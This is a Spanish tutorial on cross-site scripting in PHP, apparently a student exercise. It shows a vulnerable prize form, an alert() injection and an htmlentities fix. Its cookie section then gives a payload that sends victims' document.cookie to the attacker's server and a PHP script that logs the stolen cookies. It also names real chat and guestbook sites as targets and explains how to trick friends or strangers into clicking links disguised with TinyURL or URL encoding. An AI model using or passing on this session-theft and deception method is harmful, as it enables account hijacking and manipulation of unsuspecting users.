You are on page 1of 12

XSS

Cross-site scripting

ndice
1. 2. 3. 4. 5. Nuestra Web 3 Atque 6 Defensa .. 7 Cookies 9 Bibliografa 12

Ivn Martn Valderas

Pgina 2

XSS Cross-Site Scripting

1- NUESTRA WEB

Creamos un formulario en el que se puede elegir uno de los premios que se ofrecen por ser nuestro 1.000.000 visitante, tpico para llamar la atencin, con ste cdigo simple pero algo decorado. win.php
<html> <body> <h1>ENHORABUENA!!</h1> <form action='youwin.php' method='post'> <center><h1><b>Elige tu PREMIO por ser nuestro visitante 1.000.000</b></h1></center><br> <input type="radio" name="premio" value="xbox360">xbox360<br> <input type="radio" name="premio" value="Play Station 3">Play Station 3<br> <input type="radio" name="premio" value="Nintendo Wii">Nintendo Wii<br> <center><input type="submit" value="send"></center> </form> </body> </html>

Entonces el usuario eligir una de sus opciones preferidas y la pgina le responder con el regalos que ha elegido, mediante este tipo de publicidad, encuestas lo que se quiere es atraer la atencin de los visitantes para luego continuar rellenando otros formularios, entregando datos personales, correoetc pero para el ejercicio que vamos a realizar, con que llegue hasta aqu nos sirve. Por lo que usamos ste cdigo en otro php el cual le muestre lo elegido, simple tambin: youwin.php <? $Choice = $_REQUEST[premio]; //Solucion: $Choice = htmlentities($_REQUEST[os]); ?> <html> <head><TITLE>ste es tu premio!!</TITLE></head> <body> <br> <center> <h1>Elegiste: <? echo $Choice?></h1> </center> </body> </html>

Ivn Martn Valderas

Pgina 4

XSS Cross-Site Scripting

Nosotros lo vemos como un simple formulario en el que elegimos una opcin y continuamos, nada ms, pero lo que ocurre con pginas como sta es que dan juego a las personas con ms conocimiento e intriga.

Aqu es donde aparece la parte de XSS, ahora nosotros vamos a comprobar que el autor ha hecho bien los deberes validando y protegiendo sus datos

2- ATAQUE

Si nos damos cuenta, la variable $Choice = $_REQUEST[premio]; no est bien filtrada, directamente sta en concreto ni lo est. Podemos entonces escribir, inyectar cdigo XSS, para ello escribimos en la URL seguido de la pgina: 1. ?premio= es la variable que est sin validar, filtrar 2. <script>alert('SORPRESA!! Esto es XSS')</script> es el script a inyectar, en ste caso lo que haremos es que nos salte una ventana-alerta, alert(), dicindonos el texto escrito dentro de la funcin alert, SORPRESA!! Esto es XSS

Escribimos en el navegador: localhost/ejerPHP/XSS/win.php?premio=< script>alert('SORPRESA!! Esto es XSS')</script>

Y sorpresa, hemos obtenido nuestra alerta

Ivn Martn Valderas

Pgina 6

XSS Cross-Site Scripting

3- DEFENSA

Siendo nosotros los administradores del sistema, no podemos dejar que esto suceda, para ello debemos modificar el script de manera que no se permita realizar el paso anterior, para ello vamos a filtrar la variable usando htmlentities.

htmlentities
<? $Choice = htmlentities($_REQUEST["premio"]); ?> <html> <head><TITLE>ste es tu premio!!</TITLE></head> <body background="party.jpg"> <br> <center> <h1>Elegiste: <? echo $Choice?></h1> </center> </body> </html>

Convierte todos los caracteres aplicables a entidades HTML [1]

Si nos dirigimos de nuevo a la URL: http://localhost/ejerPHP/XSS/win.php?premio=<script>alert('SORPRESA!! Esto es XSS')</script>

Ya no nos aparece la alerta, debido a que hemos tomado medidas contra el script

Podemos copiar la URL desde el navegador y pegarla en un texto plano, entonces observaremos la transformacin, a hexadecimal.

Original: http://localhost/ejerPHP/XSS/win.php?premio=<script>alert('SORPRESA!! Esto es XSS')</script>

Hexadecimal: http://localhost/ejerPHP/XSS/win.php?premio=%3Cscript%3Ealert%28%27SORPRESA!!%20Est o%20es%20XSS%27%29%3C/script%3E

Ivn Martn Valderas

Pgina 8

XSS Cross-Site Scripting

4- COOKIES
Las cookies son utilizadas habitualmente por los servidores web para diferenciar usuarios y para actuar de diferente forma dependiendo de stos. Las cookies se inventaron para ser utilizadas en una cesta de la compra virtual, que acta como dispositivo virtual en el que el usuario va "colocando" los elementos que desea adquirir, de forma que los usuarios pueden navegar por el sitio donde se muestran los objetos a la venta y aadirlos y eliminarlos de la cesta de la compra en cualquier momento. Las cookies permiten que el contenido de la cesta de la compra dependa de las acciones del usuario. Un uso de las cookies es identificarse en un sitio web. Los usuarios normalmente se identifican introduciendo sus credenciales en una pgina de validacin; las cookies permiten al servidor saber que el usuario ya est validado, y por lo tanto se le puede permitir acceder a servicios o realizar operaciones que estn restringidas a usuarios no identificados [2]

En definitiva y lo que a nosotros nos importa ms: Las cookies guardan la informacin enviada por el usuario a nuestro servidor

Mediante XSS podemos obtener las cookies de los usuarios.

Para ello debemos realizar varios puntos: 1. Encontrar una vulnerabilidad XSS en la web objetivo. 2. Hacer que el usuario al que queremos robar las cookies haga clic en un enlace que vamos a desarrollar ms adelante, para ello debemos jugar con la ingeniera social, mediante nuestra astucia y habilidad. 3. Crear el cdigo que guarde toda esa informacin.

1- Encontramos la vulnerabilidad de alguna web: Por ejemplo nos podemos centrar en chats, guestbook que posean algunas webs, stos poseen vulnerabilidades que permiten el ingreso de cdigo html: http://xat.com/ http://www.a-free-guestbook.com/

2- Debemos hacerle llegar a nuestro objetivo el siguiente enlace: http://PAG_VULNERABLE.com name="hia" onload="hia.src='http://URL_NUESTRO SERVER /cookie.php?cookie='%20+document.cookie;">

Ante todo, debemos saber que dependiendo de la relacin entre el emisor-receptor, cuando se pase el link hay ms posibilidades o menos de que el receptor haga clic en ella. Si se tiene buena relacin, le pasas el link a un amigo dicindole que es una pgina de juegos, o de algo interesante, o cualquier otra cosa, hay confianza y no necesitamos ganrnosla ms todava. Si se pasa a una persona desconocida, hay pocas probabilidades de que haga clic en el link, aunque hoy en da la mayora de las personas que reciben correos no muy sospechosos suelen abrirlos y ver qu hay, sin contar los que el propio correo marca como peligrosos, el antivirus desactivaetc Para ello debemos primero ganarnos la confianza del receptor y segundo, aunque se tenga tal confianza, se debe camuflar la direccin enviada de alguna manera: A) Camuflaje mediante TinyURL, insertando la URL sta web la acorta y camufla de manera que no sabes nada de a dnde te puede llevar:

Ivn Martn Valderas

Pgina 10

XSS Cross-Site Scripting

B) Camuflaje mediante transformacin decimal: a. |"| |%22| b. |.| |%2E| c. |<| |%3C| d. |=| |%3D| |%3E| e. |>| f. |/| |%2F| g. |:| |%3A| |%3B| h. |;|

3- El cdigo para que guarde la cookie en un fichero de texto plano:

Cookie.php <? $cookie = $_REQUEST[cookie]; $file=fopen("cookies.txt", "a"); fput($file, "$cookie\n"); fclose($file); ?>

5- Bibliografa

[1] http://www.php-es.com/function.htmlentities.html [2] http://es.wikipedia.org/wiki/Cross-site_scripting

Ivn Martn Valderas

Pgina 12

You might also like